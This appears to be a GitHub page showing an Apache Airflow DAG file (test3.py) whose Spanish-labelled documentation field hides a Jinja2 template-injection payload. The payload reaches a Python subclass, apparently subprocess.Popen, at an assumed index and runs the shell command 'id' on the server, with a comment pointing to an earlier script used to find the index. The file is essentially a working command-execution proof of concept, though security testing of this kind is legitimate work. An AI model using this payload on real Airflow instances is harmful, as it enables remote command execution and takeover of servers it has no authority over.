-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathtest3.py
More file actions
34 lines (31 loc) · 1009 Bytes
/
test3.py
File metadata and controls
34 lines (31 loc) · 1009 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from datetime import datetime, timedelta
from airflow import DAG
from airflow.operators.python import PythonOperator
def say_hello():
print("Hello World from Airflow!")
default_args = {
'owner': 'airflow',
'retries': 1,
'retry_delay': timedelta(minutes=1),
}
## This one will fail because it assumes the index is 309!!! Check the index from the output of test2.py!!!
with DAG(
dag_id='test_3',
default_args=default_args,
description='Un DAG cualquiera',
schedule_interval='@daily',
start_date=datetime(2025, 5, 7),
catchup=False,
tags=['ejemplo'],
doc_md="""
# Test 3 - ASSUMMING THE INDEX IS 309!!!
### Class Name
{{ ''.__class__.__mro__[1].__subclasses__()[309].__name__ }}
### Command Output
{{ ''.__class__.__mro__[1].__subclasses__()[309]('id', shell=True, stdout=-1).communicate() }}
"""
) as dag:
tarea_1 = PythonOperator(
task_id='di_hola',
python_callable=say_hello,
)